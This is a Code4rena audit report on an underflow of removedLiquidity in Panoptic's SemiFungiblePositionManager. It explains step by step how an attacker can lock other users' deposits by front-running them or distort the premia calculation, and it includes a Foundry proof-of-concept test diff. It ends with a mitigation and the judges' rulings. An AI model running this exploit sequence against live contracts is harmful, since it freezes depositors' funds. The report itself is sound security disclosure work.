removedLiquidity can be underflowed to lock other user's deposits

[c4-bot-7]

Lines of code

https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L979

Vulnerability details

Impact

1. Attacker can cause deposits of other users to be locked
2. Attacker can manipulate the premia calculated to extremely high levels

Proof of Concept

When burning a long token, the removedLiquidity is subtracted in an unchecked block
https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L936-L980

    function _createLegInAMM(
        IUniswapV3Pool _univ3pool,
        uint256 _tokenId,
        uint256 _leg,
        uint256 _liquidityChunk,
        bool _isBurn
    ) internal returns (int256 _moved, int256 _itmAmounts, int256 _totalCollected) {
        
        .............

        unchecked {
           
            .........

            if (isLong == 0) {
               
                updatedLiquidity = startingLiquidity + chunkLiquidity;

                if (_isBurn) {
=>                  removedLiquidity -= chunkLiquidity;
                }

An underflow can be produced here by the following (burning is done after transferring the current position):

1. Mint a short token.
2. Mint a long token of same position size to remove the netLiquidity added. This is the token that we will burn in order to underflow the removedAmount
3. Use safeTransferFrom to clear the current position. By passing in 0 as the token amount, we can move the position to some other address while still retaining the token amounts. This will set the netLiquidity and removedLiquidity to 0.
4. Burn the previously minted long token. This will cause the removedLiquidity to underflow to 2 ** 128 - prevNetLiquidity and increase the netLiquidity
5. Burn the previously minted short token. This will set the netLiquidity to 0

The ability to obtain such a position allows an attacker to perform a variety of attacks.

Lock other user's first time (have liquidity and feesBase 0) deposits by front-running

If the totalLiquidity of a position is equal to 2 ** 128, the premia calculation will revert due to division by zero
https://github.com/code-423n4/2023-11-panoptic/blob/main/contracts/SemiFungiblePositionManager.sol#L1313-L1322

    function _getPremiaDeltas(
        uint256 currentLiquidity,
        int256 collectedAmounts
    ) private pure returns (uint256 deltaPremiumOwed, uint256 deltaPremiumGross) {
        // extract liquidity values
        uint256 removedLiquidity = currentLiquidity.leftSlot();
        uint256 netLiquidity = currentLiquidity.rightSlot();

        unchecked {
            uint256 totalLiquidity = netLiquidity + removedLiquidity;

        ........
    
    // @audit if totalLiquidity == 2 ** 128, sq == 2 ** 256 == 0 since unchecked. mulDiv reverts on division by 0

=>                  premium0X64_gross = Math
                        .mulDiv(premium0X64_base, numerator, totalLiquidity ** 2)
                        .toUint128();
                    premium1X64_gross = Math
                        .mulDiv(premium1X64_base, numerator, totalLiquidity ** 2)
                        .toUint128();

An attacker can exploit this by creating a position with removedLiquidity == 2 ** 128 - depositorLiquidity and netLiquidity == 0. The attacker can then front run and transfer this position to the depositor following which the funds will be lost/locked if burn is attempted without adding more liquidity or fees has been accrued on the position (causable by the attacker)

Instead of matching exactly with 2 ** 128 - depositorLiquidity an attacker can also keep removedLiquidity extremely close to type(uint128).max in which case depending on the depositor's amount, a similar effect will take place due to casting errors

Another less severe possibility for the attacker is to keep netLiquidity slightly above 0 (some other amount which will cause fees collected to be non-zero and hence invoke the _getPremiaDeltas) and transfer to target address causing DOS since any attempt to mint will result in revert due to premia calculation

Manipulate the premia calculation

Instead of making totalLiquidity == 2 ** 128, an attacker can choose values for netLiquidity and removedLiquidity such that totalLiquidity > 2 ** 128. This will disrupt the premia calculation

Example values:

uint256 netLiquidity = 92295168568182390522;
uint128 collected0 = 1000;
uint256 removedLiquidity = 2 ** 128 - 1000;

calculated deltaPremiumOwed =  184221893349665448120
calculated deltaPremiumGross = 339603160599738985487650139090815393758

POC Code

Set fork_block_number = 18706858
For the division by 0 revert lock run : forge test --mt testHash_DepositAmountLockDueToUnderflowDenomZero
For the casting error revert lock run : forge test --mt testHash_DepositAmountLockDueToUnderflowCastingError

diff --git a/test/foundry/core/SemiFungiblePositionManager.t.sol b/test/foundry/core/SemiFungiblePositionManager.t.sol
index 5f09101..f5b6110 100644
--- a/test/foundry/core/SemiFungiblePositionManager.t.sol
+++ b/test/foundry/core/SemiFungiblePositionManager.t.sol
@@ -5,7 +5,7 @@ import "forge-std/Test.sol";
 import {stdMath} from "forge-std/StdMath.sol";
 import {Errors} from "@libraries/Errors.sol";
 import {Math} from "@libraries/Math.sol";
-import {PanopticMath} from "@libraries/PanopticMath.sol";
+import {PanopticMath,LiquidityChunk} from "@libraries/PanopticMath.sol";
 import {CallbackLib} from "@libraries/CallbackLib.sol";
 import {TokenId} from "@types/TokenId.sol";
 import {LeftRight} from "@types/LeftRight.sol";
@@ -241,6 +241,127 @@ contract SemiFungiblePositionManagerTest is PositionUtils {
         sfpm = new SemiFungiblePositionManagerHarness(V3FACTORY);
     }
 
+    function testHash_DepositAmountLockDueToUnderflowDenomZero() public {
+        _initWorld(0);
+        sfpm.initializeAMMPool(token0, token1, fee);
+
+        int24 strike = (currentTick / tickSpacing * tickSpacing) + 3 * tickSpacing;
+        int24 width = 2;
+
+        uint256 shortTokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 0, 0, 0, strike, width);
+        uint256 longTokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 1, 0, 0, strike, width);
+
+        // size of position alice is about to deposit
+        uint128 posSize = 1e18;
+        uint128 aliceToGetLiquidity =
+            LiquidityChunk.liquidity(PanopticMath.getLiquidityChunk(shortTokenId, 0, posSize, tickSpacing));
+
+        // front run
+        vm.stopPrank();
+        deal(token0, address(this), type(uint128).max);
+        deal(token1, address(this), type(uint128).max);
+
+        IERC20Partial(token0).approve(address(sfpm), type(uint256).max);
+        IERC20Partial(token1).approve(address(sfpm), type(uint256).max);
+
+        // mint short and convert it to removed amount by minting a corresponding long
+        sfpm.mintTokenizedPosition(shortTokenId, posSize, type(int24).min, type(int24).max);
+        sfpm.mintTokenizedPosition(longTokenId, posSize, type(int24).min, type(int24).max);
+
+        // move these amounts somewhere by passing 0 as the token amount. this will set removedLiquidity and netLiquidity to 0 while still retaining the tokens
+        sfpm.safeTransferFrom(address(this), address(0x1231), longTokenId, 0, "");
+
+        // burn the long position. this will cause underflow and set removedAmount == uint128 max - alice deposit.
+        sfpm.burnTokenizedPosition(longTokenId, posSize, type(int24).min, type(int24).max);
+
+        // the above burn will make the netLiquidity == alice deposit size. if we are to burn the netLiquidity amount now to make it 0, it will cause a revert due to sum being 2**128. hence increase the amount
+        sfpm.mintTokenizedPosition(shortTokenId, 2 * posSize, type(int24).min, type(int24).max);
+
+        // the following pattern is used to burn as directly attempting to burn 3 * posSize would revert due to roudning down performed at the time of minting
+        sfpm.burnTokenizedPosition(shortTokenId, posSize, type(int24).min, type(int24).max);
+        sfpm.burnTokenizedPosition(shortTokenId, 2 * posSize, type(int24).min, type(int24).max);
+
+        uint256 acc =
+            sfpm.getAccountLiquidity(address(pool), address(this), 0, strike - tickSpacing, strike + tickSpacing);
+        assert(acc.rightSlot() == 0);
+        assert(acc.leftSlot() == 2 ** 128 - aliceToGetLiquidity);
+
+        // front-run Alice's deposit
+        sfpm.safeTransferFrom(address(this), Alice, shortTokenId, 0, "");
+        uint256 aliceDepositTokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 0, 0, 0, strike, width);
+        vm.prank(Alice);
+        sfpm.mintTokenizedPosition(aliceDepositTokenId, posSize, type(int24).min, type(int24).max);
+
+        // all attempt to withdraw funds by Alice will revert due to division by 0 in premia calculation
+        vm.prank(Alice);
+        vm.expectRevert();
+        sfpm.burnTokenizedPosition(aliceDepositTokenId, posSize, type(int24).min, type(int24).max);
+
+        vm.prank(Alice);
+        vm.expectRevert();
+        sfpm.burnTokenizedPosition(aliceDepositTokenId, posSize / 2 + 1, type(int24).min, type(int24).max);
+    }
+
+    function testHash_DepositAmountLockDueToUnderflowCastingError() public {
+        _initWorld(0);
+        sfpm.initializeAMMPool(token0, token1, fee);
+
+        int24 strike = (currentTick / tickSpacing * tickSpacing) + 3 * tickSpacing;
+        int24 width = 2;
+
+        uint256 shortTokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 0, 0, 0, strike, width);
+        uint256 longTokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 1, 0, 0, strike, width);
+
+        // low posSize to have the underflowed amount close to max and to round down in uniswap when withdrawing liquidity which will allow us to have netLiquidity of 0
+        uint128 posSize = 1000;
+        vm.stopPrank();
+        deal(token0, address(this), type(uint128).max);
+        deal(token1, address(this), type(uint128).max);
+
+        IERC20Partial(token0).approve(address(sfpm), type(uint256).max);
+        IERC20Partial(token1).approve(address(sfpm), type(uint256).max);
+
+        // mint short and convert it to removed amount by minting a corresponding long
+        sfpm.mintTokenizedPosition(shortTokenId, posSize, type(int24).min, type(int24).max);
+        sfpm.mintTokenizedPosition(longTokenId, posSize, type(int24).min, type(int24).max);
+
+        // move these amounts somewhere by passing 0 as the token amount. this will set removedLiquidity and netLiquidity to 0 while still retaining the tokens
+        sfpm.safeTransferFrom(address(this), address(0x1231), longTokenId, 0, "");
+
+        // burn the long position. this will cause underflow and set removedAmount close to uint128 max. but it will make the netLiquidity non-zero. burn the short position to remove the netLiquidity without increasing removedLiquidity
+        sfpm.burnTokenizedPosition(longTokenId, posSize, type(int24).min, type(int24).max);
+        sfpm.burnTokenizedPosition(shortTokenId, posSize, type(int24).min, type(int24).max);
+
+        uint256 acc =
+            sfpm.getAccountLiquidity(address(pool), address(this), 0, strike - tickSpacing, strike + tickSpacing);
+        assert(acc.rightSlot() == 0);
+        assert(acc.leftSlot() > 2 ** 127);
+
+        // front-run Alice's deposit
+        sfpm.safeTransferFrom(address(this), Alice, shortTokenId, 0, "");
+        uint256 aliceDepositTokenId = uint256(0).addUniv3pool(poolId).addLeg(0, 1, isWETH, 0, 0, 0, strike, width);
+        vm.prank(Alice);
+        sfpm.mintTokenizedPosition(aliceDepositTokenId, 10e18, type(int24).min, type(int24).max);
+
+        // fees accrual in position
+        vm.prank(Swapper);
+        router.exactInputSingle(
+            ISwapRouter.ExactInputSingleParams(token1, token0, fee, Bob, block.timestamp, 1000e18, 0, 0)
+        );
+        (, int24 tickAfterSwap,,,,,) = pool.slot0();
+
+        assert(tickAfterSwap > tickLower);
+
+        // after fees accrual Alice cannot withdraw the amount due to reverting in premia calculation
+        vm.prank(Alice);
+        vm.expectRevert(Errors.CastingError.selector);
+        sfpm.burnTokenizedPosition(aliceDepositTokenId, 10e18, type(int24).min, type(int24).max);
+    }
+
+    function onERC1155Received(address, address, uint256 id, uint256, bytes memory) public returns (bytes4) {
+        return this.onERC1155Received.selector;
+    }
+

Tools Used

Manual review

Recommended Mitigation Steps

Check if removedLiquidity is greater than chunkLiquidity before subtracting

Assessed type

Under/Overflow

[c4-judge]

Picodes marked the issue as primary issue

[c4-judge]

Picodes marked issue #332 as primary and marked this issue as a duplicate of 332

[c4-judge]

Picodes changed the severity to 2 (Med Risk)

[c4-judge]

Picodes marked the issue as satisfactory

[c4-judge]

Picodes marked the issue as selected for report